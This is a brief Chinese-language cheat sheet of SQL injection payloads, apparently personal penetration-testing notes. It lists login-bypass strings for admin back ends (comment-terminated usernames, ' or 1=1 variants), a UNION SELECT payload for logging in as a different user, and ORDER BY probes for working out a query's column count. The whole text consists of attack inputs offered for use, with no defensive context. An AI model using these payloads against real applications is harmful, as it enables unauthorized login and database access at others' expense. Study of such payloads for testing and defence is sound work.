SQL注入#

后台万能密码#

• ​admin' --​
• ​admin' #​
• ​admin'/*​
• ​' or 1=1--​
• ​' or 1=1#​
• ​' or 1=1/*​
• ​') or '1'='1--​
• ​') or ('1'='1--​
• 以不同的用户登陆 ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--​

　　‍

• 使用 Order by​ 确定列数，方便后续注入。

1
id = 1 Order by 1;
2
id = 1 Order by 2;
3
id = 1 Order by 3; # 报错 确定列数为 2